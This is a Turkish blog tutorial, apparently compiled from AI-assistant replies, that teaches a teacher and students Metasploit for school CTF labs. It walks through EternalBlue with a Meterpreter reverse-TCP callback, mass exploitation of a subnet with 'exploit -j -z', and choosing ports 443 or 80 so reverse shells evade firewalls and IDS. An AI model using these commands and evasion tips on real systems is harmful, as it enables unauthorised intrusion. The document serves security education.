Listeye baktığınızda (veya search type:payload ile arama yaptığınızda) payload isimlerinin belirli bir mantığa göre klasörlendiğini görürsünüz. İsimlendirme mimarisi genel olarak şu şekildedir: <işletim_sistemi>/<mimari>/<payload_türü>/<iletişim_yöntemi>

Payload'lar çalışma mantıklarına göre üç ana kategoriye ayrılır. Listeden seçim yaparken bu farkı bilmek kritik önem taşır:

1. Singles (Tekil Yükler)

Hedefe gönderildiği anda başka hiçbir şeye ihtiyaç duymadan görevini yerine getiren, genellikle küçük boyutlu kod parçalarıdır. İsimlerinde / (bölü) işareti daha azdır.

  • Örnek: windows/adduser (Sadece hedef sistemde yeni bir kullanıcı açar ve kapanır.)

  • Örnek: linux/x64/shell_reverse_tcp

2. Stagers (Öncü Yükler)

Hedefe ilk sızan, boyutu çok küçük olan ve asıl büyük amacı "kapıyı aralayıp içeriye daha büyük bir yükü (Stage) çekmek" olan kodlardır. Güvenlik duvarlarından ve bellek kısıtlamalarından kaçmak için kullanılır.

3. Stages (Asıl Yükler)

Stager tarafından içeri çekilen asıl büyük, karmaşık ve gelişmiş fonksiyonlara sahip yüklerdir (Örneğin Meterpreter).

Önemli İpucu (Staged vs Stageless):

İsimlendirmedeki "alt çizgi" (_) ve "bölü" (/) işaretleri payload'un tipini ele verir:

  • windows/meterpreter/reverse_tcp (Bölü ile ayrılmış) -> Staged (Aşamalı): Önce küçük bir kod gider, sonra Meterpreter indirilir. Çoğu zaman daha kararlıdır.

  • windows/meterpreter_reverse_tcp (Alt çizgi ile birleşik) -> Stageless (Aşamasız / Single): Tüm Meterpreter kodu tek seferde devasa bir paket olarak gönderilir. Bellek kısıtlaması olan exploitlerde çalışmayabilir.

Payload Nasıl Belirlenir?

İstediğiniz veya hedefe uygun olan payload'u listeden bulduktan sonra, onu aktif exploit'inize bağlamak için set payload komutunu kullanırsınız:

set payload windows/x64/meterpreter/reverse_tcp

Bu atamayı yaptıktan sonra tekrar show options yazdığınızda, exploit ayarlarının altına payload'un çalışması için gereken yeni ayarların (Örneğin sizin IP adresinizi belirten LHOST ve dinleyeceğiniz portu belirten LPORT) eklendiğini göreceksiniz.

 

Metasploit'in Arama Motoru: search Komutu ve Gelişmiş Filtreleme

Metasploit Framework içerisinde an itibarıyla binlerce farklı modül (exploit, payload, auxiliary vb.) bulunmaktadır. Önceki adımda da değindiğimiz gibi, bu okyanusta show komutlarıyla kaybolmak yerine nokta atışı hedeflere ulaşmak için search komutu kullanılır.

Özellikle bilgisayar laboratuvarlarında kurgulanan kısıtlı süreli simülasyonlarda veya CTF yarışmalarında doğru modülü saniyeler içinde bulabilmek kritik bir beceridir.

1. Temel Kullanım

Eğer aradığınız servisin veya zafiyetin adını kabaca biliyorsanız, komutun yanına doğrudan yazabilirsiniz. Metasploit, modül isimlerinde ve açıklamalarında bu kelimeyi arar.

search smb

search apache

search eternalblue

2. Gelişmiş Filtreleme (Operasyonel Kullanım)

search komutunun asıl gücü, arama sonuçlarını daraltmak için sunduğu parametrelerdir. Farklı parametreleri yan yana kullanarak çok spesifik aramalar yapabilirsiniz.

  • type: (Modül Türüne Göre): Sadece exploitleri, sadece payloadları veya bilgi toplama araçlarını listelemek için kullanılır.

    • Örnek: search type:exploit apache

  • platform: (İşletim Sistemine Göre): Hedef sistemin işletim sistemini biliyorsanız, alakasız sonuçları elersiniz.

    • Örnek: search platform:linux type:exploit samba

  • cve: (Güvenlik Açığı Koduna Göre): Nmap veya Nessus gibi bir tarayıcıdan spesifik bir CVE kodu (Örn: CVE-2021-3156) elde ettiyseniz, doğrudan bu açığı kullanan modülü bulabilirsiniz.

    • Örnek: search cve:2017-0144

  • name: (İsme Göre Kesin Arama): Kelimeyi açıklamada değil, sadece modülün dosya yolunda/isminde arar.

    • Örnek: search name:mysql

  • rank: (Güvenilirlik Seviyesine Göre): Uygulamalı eğitimlerde laboratuvar makinelerinin çökmesini (Mavi Ekran / Kernel Panic) engellemek için sadece en stabil çalışan exploitleri listelemek isteyebilirsiniz.

    • Örnek: search type:exploit rank:excellent windows

3. Arama Çıktısını Okumak ve Kullanmak

Aramayı yaptıktan sonra karşınıza çıkan tabloda dikkat etmeniz gereken en önemli kısım en soldaki # (Numara) sütunu ve Rank sütunudur.

Plaintext

Matching Modules

================

 

   #  Name                                           Disclosure Date  Rank       Check  Description

   -  ----                                           ---------------  ----       -----  -----------

   0  exploit/linux/samba/is_known_pipename          2017-03-24       excellent  Yes    Samba is_known_pipename() Arbitrary Module Load

   1  exploit/linux/samba/trans2open                 2003-04-07       great      No     Samba trans2open Overflow

 

Kullanmak istediğiniz modülü bulduğunuzda, uzun dosya yolunu yazmak yerine sadece # sütunundaki numarasını kullanarak modülü aktif hale getirebilirsiniz:

use 0

Bu komutu girdikten sonra show options diyerek hedefin IP adresini (RHOSTS) ayarlamaya başlayabilirsiniz.

Öğrencileriniz için hazırladığınız CTF senaryolarında ve laboratuvar pratiklerinde, genellikle doğrudan sisteme sızma (exploit) aşamasına mı odaklanıyorsunuz, yoksa öncesinde bilgi toplama ve zafiyet tarama (auxiliary) modüllerinin kullanımını da müfredata dahil ediyor musunuz?

 

info Komutu: Bir Modülün Anatomisini Anlamak

Metasploit Framework içerisinde info komutu, seçtiğiniz veya ilgilendiğiniz bir modül (exploit, payload, auxiliary vb.) hakkında bilinmesi gereken her detayı ekrana döken başvuru kaynağıdır.

Özellikle 11. sınıf öğrencilerinizin katıldığı CTF senaryolarında, hedefe saldırmadan önce sadece komutları ezberlemek yerine zafiyetin arka planda nasıl çalıştığını kavramaları (ezberci mantıktan, namıdiğer "Script Kiddie" olmaktan kurtulmaları) için bu komutun çıktısını okumayı bir alışkanlık haline getirmeleri çok önemlidir.

info Komutu Nasıl Kullanılır?

İki farklı kullanım senaryosu vardır:

1. Arama Sonuçlarından Doğrudan Bakmak:

Henüz bir modülün içine girmeden, sadece adını veya yolunu yazarak bilgi alabilirsiniz.

info exploit/windows/smb/ms17_010_eternalblue

veya arama tablosundaki numarasıyla: info 0

2. Seçili Modülün İçindeyken Kullanmak:

Eğer use komutuyla modülü aktif hale getirdiyseniz, yanına hiçbir şey yazmadan sadece info diyerek detayları görebilirsiniz.

msf6 exploit(windows/smb/ms17_010_eternalblue) > info

info Çıktısında Neler Bulunur? (Kritik Bölümler)

Çıktı oldukça uzundur ancak sızma testi sırasında şu bölümler hayati önem taşır:

  • Name & Platform (İsim ve Platform): Modülün tam adı ve hangi işletim sistemi/mimari (x86, x64, Linux, Windows) için yazıldığı bilgisini verir.

  • Provided by (Geliştiriciler): Bu sömürü kodunu yazan siber güvenlik araştırmacılarının isimlerini listeler.

  • Rank (Güvenilirlik Seviyesi): Önceki arama komutunda da bahsettiğimiz gibi, hedefin çökme riskini (Excellent, Normal, Manual vb.) belirtir.

  • Available targets (Uygun Hedefler): Hedef sistemin işletim sistemi versiyonları listelenir. Örneğin, bir exploit sadece "Windows 7 SP1 x64" üzerinde çalışıyor olabilir. Eğer Nmap taramanızdaki versiyon bu listede yoksa, exploit büyük ihtimalle başarısız olacaktır veya sistemi çökertecektir.

  • Basic options (Temel Ayarlar): show options komutuna benzer şekilde, exploit'in çalışması için zorunlu olan (Required: Yes) parametreleri (RHOSTS, RPORT vb.) gösterir.

  • Description (Açıklama): En önemli kısımdır. Zafiyetin teknik olarak nasıl oluştuğunu (örneğin "Bellek taşması - Buffer Overflow" mu, yoksa "Mantıksal bir hata" mı olduğunu) ve modülün bu açığı nasıl sömürdüğünü detaylıca anlatır.

  • References (Referanslar): Zafiyetin CVE (Common Vulnerabilities and Exposures) numarası, Exploit-DB linkleri ve Microsoft/Linux güvenlik bülteni adresleri yer alır. Öğrencileriniz bir zafiyeti derinlemesine araştırmak ve raporlamak istiyorsa, işe buradan başlamalıdır.

Eğitim Laboratuvarı İçin Küçük Bir İpucu

Öğrencileriniz bir makineye başarıyla sızdığında onlardan sadece "sisteme girdim" demelerini değil, info komutunun "Description" ve "References" kısımlarını kullanarak "Bu sisteme neden sızabildik ve sistem yöneticisi bunu nasıl yamayabilirdi?" sorusunu cevapladıkları kısa bir rapor istemek, siber güvenlik temellerinin çok daha sağlam atılmasını sağlayacaktır.

Hazırladığınız laboratuvar ortamındaki hedef makinelerde ilk erişimi sağladıktan sonra, bir sonraki adım olarak sistemde hak yükseltme (Privilege Escalation - standart kullanıcıdan Admin/Root seviyesine çıkma) tekniklerine de değinmek ister misiniz?

 

show options Komutu: Modül Parametrelerini Görüntüleme ve Yapılandırma

Metasploit Framework içerisinde use komutuyla bir modülü (exploit, auxiliary veya post) aktif hale getirdikten sonra çalıştırılması gereken en kritik komut show options komutudur.

Bu komut, seçilen modülün hedefe başarıyla gönderilebilmesi veya taramanın başlatılabilmesi için hangi ayarların (değişkenlerin) yapılması gerektiğini, hangilerinin zorunlu olduğunu ve mevcut değerlerini gösteren bir kontrol panelidir.

show options Çıktısı Nasıl Okunur?

Önceki adımlarda incelediğimiz exploit/windows/smb/ms17_010_eternalblue modülünü seçip show options yazdığınızda karşınıza genellikle iki ana bölümden oluşan bir tablo çıkar: Module Options (Modül Ayarları) ve Payload Options (Zararlı Yük Ayarları).

Plaintext

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

 

Module options (exploit/windows/smb/ms17_010_eternalblue):

 

   Name           Current Setting  Required  Description

   ----           ---------------  --------  -----------

   RHOSTS                          yes       The target host(s), range CIDR and more

   RPORT          445              yes       The SMB service port (TCP)

   SMBDomain      .                no        The Windows domain to use for authentication

   SMBPass                         no        The password for the specified username

   SMBUser                         no        The username to authenticate as

 

 

Payload options (windows/x64/meterpreter/reverse_tcp):

 

   Name           Current Setting  Required  Description

   ----           ---------------  --------  -----------

   EXITFUNC       thread           yes       Exit technique (Accepted: none, seh, thread, process)

   LHOST                           yes       The listen address (proxied connections must use the reverse host:port)

   LPORT          4444             yes       The listen port

 

Tablodaki Sütunların Anlamları

  1. Name (Parametre Adı): Değer atayacağınız değişkenin adıdır. Metasploit'te en sık karşılaşacağınız iki temel parametre şunlardır:

    • RHOSTS (Remote Hosts): Saldırılacak veya taranacak olan hedef sistemin/sistemlerin IP adresidir. (Örneğin bizim senaryomuzdaki 10.113.191.111).

    • RPORT (Remote Port): Hedefteki servis portudur. Seçtiğiniz exploite göre varsayılan olarak gelir (SMB için 445 gibi).

    • LHOST (Local Host): Payload'un (Meterpreter) hedef sistemde çalıştıktan sonra geri bağlanacağı, yani sizin (saldırgan/testi gerçekleştiren) makinenizin IP adresidir.

    • LPORT (Local Port): Kendi makinenizde gelen bağlantıyı dinleyeceğiniz port numarasıdır (Varsayılanı genellikle 4444'tür).

  2. Current Setting (Mevcut Ayar): Değişkenin o anki değeridir. Eğer içi boşsa ve bir sonraki sütunda "yes" yazıyorsa, burayı doldurmadan modülü çalıştıramazsınız.

  3. Required (Zorunlu mu?): Eğer burada yes yazıyorsa, modülün çalışması için bu parametrenin doldurulması şarttır. no yazan parametreler ise gelişmiş ince ayarlar içindir ve boş bırakılabilir.

  4. Description (Açıklama): O parametrenin ne işe yaradığını kısaca açıklayan bölümdür.

Eksik Parametreler Nasıl Doldurulur?

show options ile eksik olan zorunlu alanları tespit ettikten sonra, bu alanları doldurmak için set komutu kullanılır.

Laboratuvar ortamındaki hedef makineye (10.113.191.111) ve kendi yerel IP'nize göre ayarları şu şekilde yapabilirsiniz:

Bash

msf6 exploit(...) > set RHOSTS 10.113.191.111 RHOSTS => 10.113.191.111  msf6 exploit(...) > set LHOST 10.113.152.236 LHOST => 10.113.152.236

Bu set komutlarından sonra tekrar show options yazarak verilerin doğru yerleştiğinden emin olabilirsiniz. Her şey tamamsa ve Required olan tüm alanlar "Current Setting" sütununda dolmuşsa, artık son adım olan exploit veya run komutunu vermeye hazırsınız demektir.

 

 

Eksik Komut Girişi!

Metasploit konsolunda set RHOSTS komutunu tek başına girdiğinizde sistem neyi hedef alacağını bilemez. Bu komut, hedefin IP adresini (veya adreslerini) tanımlamak için bir "değer" (value) bekler.

Bir önceki tarama senaryomuzdaki hedef makineyi (Jon-PC) tanımlamak için komutu şu şekilde tamamlamalısınız:

set RHOSTS 10.113.191.111

RHOSTS (Remote Hosts) Parametresinin Esnekliği

Siber güvenlik testlerinde hedefleri belirlerken RHOSTS parametresi oldukça esnek bir yapıya sahiptir. Sadece tek bir IP adresi girmek zorunda değilsiniz. Uyguladığınız senaryonun kapsamına göre farklı şekillerde tanımlama yapabilirsiniz:

  • Tek Hedef: Sadece belirli bir makineyi test etmek için.

  • set RHOSTS 10.113.191.111

  • Çoklu Hedef: Birden fazla spesifik makineyi aralarında boşluk bırakarak test etmek için.

  • set RHOSTS 192.168.1.10 192.168.1.20

  • IP Aralığı: Belirli bir IP aralığındaki tüm makineleri hedef almak için.

  • set RHOSTS 192.168.1.50-192.168.1.100

  • Tüm Alt Ağ (CIDR): Bütün bir laboratuvar ağını veya departmanı (örneğin 254 makineyi) aynı anda taramak veya exploit fırlatmak için.

  • set RHOSTS 192.168.1.0/24

Komutu doğru şekilde (IP adresiyle birlikte) girdikten sonra, Metasploit size RHOSTS => 10.113.191.111 şeklinde bir onay mesajı döndürecektir.

Bu atamayı yaptıktan sonra, işlemin sisteme doğru işlendiğinden emin olmak için tekrar show options komutunu çalıştırabilir ve tablodaki Current Setting sütununu kontrol edebilirsiniz.

 

 

unset Komutu: Hataları Düzeltmek ve Parametreleri Temizlemek

Metasploit Framework içerisinde set komutunun tam zıttı olarak çalışan komuttur. Yanlışlıkla atadığınız bir değeri silmek, bir parametreyi tamamen boşaltmak veya varsayılan (default) değerine geri döndürmek için kullanılır.

Uygulamalı laboratuvar eğitimlerinde, öğrencilerin heyecanla yanlış hedef IP adreslerini girmeleri veya eski senaryodan kalan ayarları unutmaları çok sık rastlanan bir durumdur. Bu gibi durumlarda panik yapmadan ayarları sıfırlamanın en temiz yolu unset komutunu kullanmaktır.

Nasıl Kullanılır?

unset komutunun kullanımı tıpkı set komutu gibidir, ancak sonuna bir değer yazmanıza gerek yoktur; sadece temizlemek istediğiniz parametrenin adını yazmanız yeterlidir.

Örnek Senaryo:

Yanlışlıkla laboratuvarınızdaki hedef makine (10.113.191.111) yerine öğretmenin makinesinin IP adresini hedef (RHOSTS) olarak ayarladığınızı varsayalım:

set RHOSTS 192.168.1.100

Bu hatayı düzeltip RHOSTS parametresini tamamen boşaltmak için:

unset RHOSTS

Bu komutu girdikten sonra Metasploit Unsetting RHOSTS... şeklinde bir yanıt verir. Ardından show options yazdığınızda, RHOSTS satırının "Current Setting" (Mevcut Ayar) kısmının boşaldığını görebilirsiniz. Artık doğru IP adresiyle yeni bir set ataması yapabilirsiniz.

Güçlü Bir Alternatif: unset all

Eğer bir modülün içinde çok fazla değişiklik yaptıysanız, birden fazla payload denediyseniz ve işler iyice karıştıysa, tüm ayarları tek tek silmek yerine modülü fabrikasyon ayarlarına döndürmek isteyebilirsiniz.

Bunun için şu komut kullanılır:

unset all

Bu komut, bulunduğunuz modülün içindeki RHOSTS, RPORT, LHOST, LPORT gibi tarafınızca atanmış tüm değişkenleri aynı anda siler ve modülü ilk use komutuyla açtığınız o tertemiz haline geri getirir.

 

 

Sanırım exploit yazmak istediniz.

Metasploit Framework içerisinde use ile modülü seçip, show options ile eksikleri belirleyip, set ile hedefleri (RHOSTS) ve kendi IP adresinizi (LHOST) tanımladıktan sonra basılan son tetiğe exploit adı verilir.

Tüm hazırlıklar tamamlandığında, zararlı yükü (payload) hedef sisteme fırlatmak ve sızma işlemini fiilen başlatmak için kullanılan ana komuttur.

Nasıl Kullanılır?

Tüm ayarların (Options) doğru olduğundan emin olduktan sonra terminale sadece şu komutu yazmanız yeterlidir:

exploit

(Not: Metasploit içerisinde exploit komutu ile run komutu tamamen aynı işlevi görür. Alışkanlığınıza göre ikisini de kullanabilirsiniz.)

Komutu Girdikten Sonra Neler Olur?

exploit komutunu çalıştırdığınızda Metasploit sırasıyla şu işlemleri gerçekleştirir:

  1. Bağlantı Kurulumu: Sizin makinenizde (LHOST) belirlediğiniz portu (LPORT) dinlemeye başlar.

  2. Paket Gönderimi: Hedef makinenin (RHOSTS) açık olan ve zafiyet barındıran portuna (RPORT) özel olarak hazırlanmış sömürü kodunu paketler halinde gönderir.

  3. Payload Enjeksiyonu: Eğer hedefteki güvenlik açığı başarıyla tetiklenirse, seçtiğiniz zararlı yük (Örneğin Meterpreter) hedefin belleğine enjekte edilir.

  4. Oturum (Session) Açılması: Hedefteki payload sizin dinlediğiniz porta geri bir bağlantı (Reverse Connection) kurar. Ekranda genellikle siber güvenlikçilerin en sevdiği o meşhur yazıyı görürsünüz:

  5. [*] Meterpreter session 1 opened (192.168.1.10:4444 -> 10.113.191.111:49158)

Bu mesajı gördüğünüz anda işlem başarılı olmuş demektir. Artık msf6 > komut satırı yerine meterpreter > komut satırına düşersiniz ve doğrudan hedef sistemin içerisinde yetki sahibi olarak komut çalıştırmaya başlarsınız.

İleri Düzey Kullanım: Arka Planda Çalıştırma (-j)

Bazen fırlattığınız bir exploit hemen sonuç vermeyebilir veya birden fazla hedefe aynı anda exploit yollamanız gerekebilir. Terminal ekranınızın kilitlenmesini istemiyorsanız exploit komutunu Job (Görev) olarak arka plana atabilirsiniz:

exploit -j

Bu parametre (job), işlemi arka planda sessizce başlatır. Arka planda bir sistem düştüğünde ve oturum açıldığında Metasploit size bildirim gönderir. Siz bu sırada sessions -l komutuyla açılan oturumları kontrol edebilir veya başka testlere devam edebilirsiniz.

 

 

Küçük Bir Harf Hatası!

Metasploit konsolunda çok sık yapılan bir sözdizimi (syntax) hatasına denk geldiniz. Doğru parametre LHOSTS (çoğul) değil, LHOST (tekil) olmalıdır.

Özellikle 11. sınıf öğrencileriniz CTF senaryolarında Pardus makinelerini yapılandırırken RHOSTS parametresindeki "S" harfine alışıp, aynısını LHOST için de kullanmaya çalıştıklarında bu hatayla sıkça karşılaşırlar.

Neden Biri Çoğul (RHOSTS) İken Diğeri Tekil (LHOST)?

Metasploit'in isimlendirme mantığı aslında ağın doğasına dayanır:

  • RHOSTS (Remote Hosts - Çoğul): Hedef sistemleri ifade eder. Bir tarama veya saldırı sırasında aynı anda birden fazla hedefi, koca bir alt ağı (Örn: 192.168.1.0/24) tarayabilir veya vurabilirsiniz. Bu yüzden çoğuldur.

  • LHOST (Local Host - Tekil): Sizin (saldırganın) kendi makinenizi ifade eder. Hedef sisteme giden zararlı yük (payload), işini bitirdiğinde geriye doğru (reverse connection) tek bir merkeze, yani sizin makinenize bağlanmak zorundadır. Bu yüzden tekildir.

Doğru Kullanım

Tıpkı RHOSTS atamasında olduğu gibi, set komutundan sonra doğru parametreyi ve kendi makinenizin IP adresini girmelisiniz:

set LHOST 10.113.152.236

(Buraya kendi Pardus/Kali makinenizin o anki güncel IP adresini yazmalısınız. Kendi IP adresinizi terminalde ayrı bir sekme açıp ip a veya ifconfig komutuyla öğrenebilirsiniz.)

Bu atamayı yaptıktan sonra Metasploit LHOST => 10.113.152.236 şeklinde bir onay verecektir. Bu atama sayesinde, fırlattığınız exploit hedef makineyi (Jon-PC) başarıyla ele geçirdiğinde, Meterpreter oturumunun nereye geri döneceğini (evin yolunu) göstermiş olursunuz.

 

 

Yine Eksik Bir Atama!

Tıpkı RHOSTS ve LHOST komutlarında olduğu gibi, set LPORT komutu da tek başına çalışmaz; yanına bir değer (Port numarası) girmeniz gerekir.

LPORT (Local Port), hedef sisteme gönderdiğiniz zararlı yükün (payload) işini bitirdikten sonra sizin makinenize (LHOST) geri bağlanırken hangi kapıyı (portu) çalacağını belirler.

Nasıl Kullanılır?

Komutu, dinlemek istediğiniz port numarası ile birlikte girmelisiniz:

set LPORT 4444

Bu komutu girdikten sonra LPORT => 4444 şeklinde onay mesajını alırsınız. Bu sayede LHOST (IP Adresiniz) ve LPORT (Port Numaranız) birleşerek, payload için tam bir dönüş adresi oluşturur (Örn: 10.113.152.236:4444).

Eğitim Laboratuvarı İçin Önemli Bir "Saha" İpucu

Metasploit'te LPORT değerinin varsayılanı (default) dünya genelinde 4444'tür. Eğer show options yazdığınızda bu ayarı değiştirmezseniz sistem hep bu portu dinler.

Ancak 11. sınıf öğrencilerinize siber güvenlik defans (Mavi Takım) mantığını aşılarken onlara şu altın kuralı öğretebilirsiniz: Hiçbir gerçek saldırgan 4444 portunu kullanmaz!

Çünkü güvenlik duvarları (Firewall) ve Saldırı Tespit Sistemleri (IDS), 4444 portundan gelen dışarıya doğru (outbound) bir trafiği gördüğü an otomatik olarak engeller ve alarm verir. CTF senaryolarınızda hedef makinelerin güvenlik duvarı kurallarını biraz sıkılaştırdıysanız, öğrencilerinize payload'ların engellemelere takılmaması için şu portları kullanmalarını tavsiye edebilirsiniz:

  • set LPORT 80 (Standart web trafiği gibi görünür, çoğu güvenlik duvarından rahat geçer)

  • set LPORT 443 (HTTPS trafiği gibi görünür, şifreli olduğu için güvenlik sistemlerini atlatması en kolay olanıdır)

  • set LPORT 8080 veya 53 (Alternatif web ve DNS portları)

Öğrenciler laboratuvar ortamında varsayılan 4444 yerine örneğin 443'ü kullandıklarında, "Kötü amaçlı bir trafiği, meşru bir trafiğin arkasına nasıl saklarız?" sorusunun cevabını uygulamalı olarak görmüş olurlar.

 

 

Yine Değer Eksik!

Tıpkı bir önceki adımdaki LPORT parametresinde olduğu gibi, set RPORT komutu da tek başına girildiğinde havada kalır. Yanına hedefin hangi portuna saldıracağınızı veya tarama yapacağınızı belirten bir değer yazmanız gerekir.

RPORT (Remote Port), hedef makinenin (RHOSTS) üzerinde zafiyet barındıran ve içeri sızmak için kullanacağınız servisin çalıştığı kapı numarasıdır.

Nasıl Kullanılır?

Önceki Nmap taramanızda Jon-PC makinesinde SMB servisinin (445) açık olduğunu ve EternalBlue zafiyeti için bu servisin hedeflenmesi gerektiğini konuşmuştuk. Bu durumda komutu şu şekilde girmelisiniz:

set RPORT 445

Bu atamayı yaptıktan sonra RPORT => 445 şeklinde onay mesajını alırsınız.

Ne Zaman Değiştirmek Gerekir?

Metasploit'te use komutuyla bir exploit seçtiğinizde, sistem genellikle o exploitin doğasına uygun olan RPORT değerini otomatik olarak atar. (Örneğin bir FTP zafiyeti seçtiyseniz otomatik 21, SMB seçtiyseniz 445 olur). Yani show options yazdığınızda bu kısmın genellikle dolu olduğunu görürsünüz.

Ancak 11. sınıf öğrencilerinize hazırladığınız laboratuvar CTF'lerinde işleri biraz daha zorlaştırmak ve onların ezbere gitmesini engellemek için harika bir "Sistem Yöneticisi" (Mavi Takım) şaşırtmacası yapabilirsiniz:

Standart Dışı Port Senaryosu (Port Obfuscation):

Sistemi kurarken hedef Pardus veya Windows makinesindeki servisin varsayılan portunu değiştirebilirsiniz (Örneğin SSH servisini 22 yerine 2222 portunda veya bir web uygulamasını 80 yerine 8080 portunda çalıştırabilirsiniz).

Öğrenciler Nmap ile tarama yaptıklarında servisin farklı bir portta çalıştığını keşfetmeli ve Metasploit'e geçtiklerinde ezbere exploit yazmak yerine önce şu ayarı yapmayı akıl etmelidirler:

set RPORT 2222

Bu küçük detay, onların ağ mimarisini ve "servislerin sadece belirli portlara hapsedilmediği" gerçeğini uygulamalı olarak kavramalarını sağlar.

 

 

Tebrikler! Siber güvenlik dünyasında bir sızma testi uzmanının veya CTF oyuncusunun ekranında görmeyi en çok beklediği o meşhur komut satırına ulaştınız.

meterpreter > ibaresini görmek, attığınız zafiyet sömürü kodunun (exploit) hedef sistemde başarılı olduğu, payload'un belleğe yerleştiği ve hedefin sizin Pardus/Kali makinenize doğru bağlantı (reverse shell) açtığı anlamına gelir. Artık sistemin "içerisindesiniz".

Öğrencileriniz laboratuvarda bu aşamaya geldiklerinde, rastgele komutlar denemek yerine sistemde yönlerini bulmalarını (durum tespiti yapmalarını) sağlayacak bazı temel, zararsız ve bilgi toplayıcı komutları bilmeleri gerekir.

Meterpreter İçerisinde İlk Çalıştırılacak Temel Komutlar

Sisteme ilk girildiğinde "Ben kimim, neredeyim ve sistemin durumu ne?" sorularını cevaplamak için şu komutlar kullanılır:

  • sysinfo (Sistem Bilgisi): Hedef bilgisayarın adını, işletim sistemini, mimarisini (x86/x64) ve sistem dilini gösterir. Nmap taramasında bulduğunuz "Windows 7" bilgisini buradan kesin olarak doğrulayabilirsiniz.

  • getuid (Kullanıcı Kimliği): Sisteme hangi kullanıcının haklarıyla sızdığınızı gösterir. Eğer NT AUTHORITY\SYSTEM yanıtını alırsanız, makinedeki en yüksek yetkiye (Admin/Root) sahipsiniz demektir. Sadece standart bir kullanıcıysanız, hak yükseltme (privilege escalation) adımlarına geçmeniz gerekir.

  • ipconfig / ifconfig: Hedef makinenin ağ kartlarını ve IP adreslerini listeler. Hedef makinenin sizin bilmediğiniz başka bir iç ağa (farklı bir laboratuvar VLAN'ına) bağlı olup olmadığını (Pivoting fırsatlarını) buradan keşfedebilirsiniz.

  • ps (Süreç Listesi): Hedef sistemde o an çalışan uygulamaları (process) listeler. Güvenlik duvarı veya antivirüs yazılımlarının çalışıp çalışmadığını anlamak için kontrol edilir.

  • shell: Meterpreter'in kendi gelişmiş bellek içi ortamından çıkıp, doğrudan hedef Windows makinesinin bildiğimiz standart komut satırına (C:\Windows\System32>) düşmenizi sağlar. Çıkmak için exit yazarak tekrar Meterpreter'e dönebilirsiniz.

Oturumu Güvenle Yönetmek

Öğrencilerin en sık yaptığı hatalardan biri, işlemi bitirmeden veya Metasploit menüsüne geri dönmek isterken oturumu yanlışlıkla öldürmektir.

  • background: Aktif Meterpreter oturumunu kapatmadan arka plana atar ve sizi Metasploit ana menüsüne (msf6 >) geri döndürür. (Klavyeden CTRL + Z kısayolu da aynı işi yapar). Arka plandaki oturuma tekrar dönmek için sessions -i [Oturum_Numarası] komutunu kullanabilirsiniz.

  • exit: Oturumu tamamen kapatır ve bağlantıyı koparır. Bunu yazdığınızda hedefe tekrar exploit yollamak zorunda kalırsınız.

Laboratuvar senaryolarınızda, öğrenciler bu yetkili erişimi elde ettikten sonra, sızdıkları makine üzerinden iç ağdaki (11. sınıf veya 9. sınıf IP bloklarındaki) diğer kapalı makinelere erişmek için "Pivoting" (Ağ Sıçraması) tekniklerini de deniyorlar mı?

 

Harika bir komut kombinasyonu! Metasploit'te tek bir hedefe odaklanmaktan çıkıp, profesyonel bir "Kırmızı Takım" (Red Team) oyuncusu gibi çoklu operasyonları yönetmeye başladığınızın göstergesidir.

Özellikle 11. sınıflar için organize ettiğiniz uygulamalı siber güvenlik bitirme simülasyonlarında, hücum yapan öğrencilerin laboratuvardaki 15 istemci makineyi aynı anda hedef aldığı (Mass Exploitation) senaryolarda bu komut ikilisi terminal yönetimini inanılmaz derecede kolaylaştırır.

Komutu parçalarına ayırarak inceleyelim:

Parametrelerin Anlamı

  • exploit: Bildiğimiz sömürü işlemini başlatma komutu.

  • -j (Job - Görev): Fırlatılan exploit'i (veya dinleyiciyi) ana terminal ekranını kilitlemeden arka planda (background) çalıştırır. Siz msf6 > satırında başka komutlar yazmaya veya yeni hedefler taramaya devam edebilirsiniz.

  • -z (Zero Interaction - Etkileşime Girme): Sömürü başarılı olup hedef sistemden size bir bağlantı (Reverse Shell/Meterpreter) geldiğinde, Metasploit varsayılan olarak sizi hemen o yeni açılan oturumun içine çeker. -z parametresi bunu engeller. Oturum açılır, güvene alınır ancak sizi içeri atmaz; kendi konsolunuzda kalmanızı sağlar.

Ne Zaman ve Neden Kullanılır? (Laboratuvar Senaryosu)

Öğrencilerinizin ağdaki 5 farklı zafiyetli Windows veya Linux makinesine aynı anda exploit gönderdiğini düşünün.

Eğer sadece exploit yazarlarsa, sızılan ilk makine anında terminali devralıp meterpreter > ekranını açar. Öğrenci ilk makinenin içindeyken, diğer 4 makinenin exploit süreci veya onlardan gelen bağlantılar terminali karmaşıklaştırabilir.

Ancak exploit -j -z kullanıldığında süreç şöyle işler:

  1. Öğrenci komutu yazar.

  2. Terminal ona sadece [*] Exploit running as background job 0. der ve msf6 > satırını geri verir.

  3. Öğrenci kahvesini yudumlarken hedefler tek tek düşmeye başlar ve terminalde sadece şu bildirimler alt alta akar:

    • [*] Meterpreter session 1 opened (10.113.152.236:4444 -> 10.113.191.111:49158)

    • [*] Meterpreter session 2 opened (10.113.152.236:4444 -> 10.113.191.112:50112)

    • [*] Meterpreter session 3 opened (10.113.152.236:4444 -> 10.113.191.113:51020)

Öğrenci bir "Balıkçı Ağı" atmış ve balıkların ağa takılmasını ana merkezden izlemiş olur.

Toplanan Oturumlara Sonradan Nasıl Girilir?

Arka planda sessizce bekleyen bu oturumlara geçiş yapmak için daha önce konuştuğumuz sessions komutları kullanılır:

  1. Önce yakalanan tüm makineleri görmek için: sessions -l (veya sadece sessions)

  2. İstediği spesifik bir hedefin (örneğin 2 numaralı makinenin) içine girmek için: sessions -i 2

Bu şekilde arka planda toplanan çoklu oturumları yönetirken, ele geçirilen tüm makinelerde aynı anda tek bir komut çalıştırmayı (örneğin hepsinde aynı anda sistem bilgisini çekmeyi veya bir metin belgesi oluşturmayı) sağlayan gelişmiş Metasploit otomasyon tekniklerine geçmek ister misiniz?

 

 

Yorumlar

Bu blogdaki popüler yayınlar

Android Telefon/Tablet Ekranını Pardus ETAP 23 Yüklü Akıllı Tahtaya Yansıtma

Pardus Etap 23’de Unutulmuş Etap Yetkili Parolasını Sıfırlama

Pardus Etap 23 Yazıcı Kurulumu